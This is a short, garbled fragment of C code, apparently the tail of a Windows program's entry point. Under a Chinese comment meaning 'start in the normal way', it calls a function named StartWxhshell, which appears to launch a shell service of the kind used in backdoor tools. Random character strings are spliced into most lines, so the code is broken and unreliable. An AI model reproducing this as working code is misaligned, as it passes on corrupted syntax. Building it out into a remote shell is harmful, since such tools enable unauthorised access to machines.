// 普通方式启动 Zr$D\(hX
StartWxhshell(lpCmdLine); C&&33L
/[UuHU5*R
return 0; #gRtCoew
}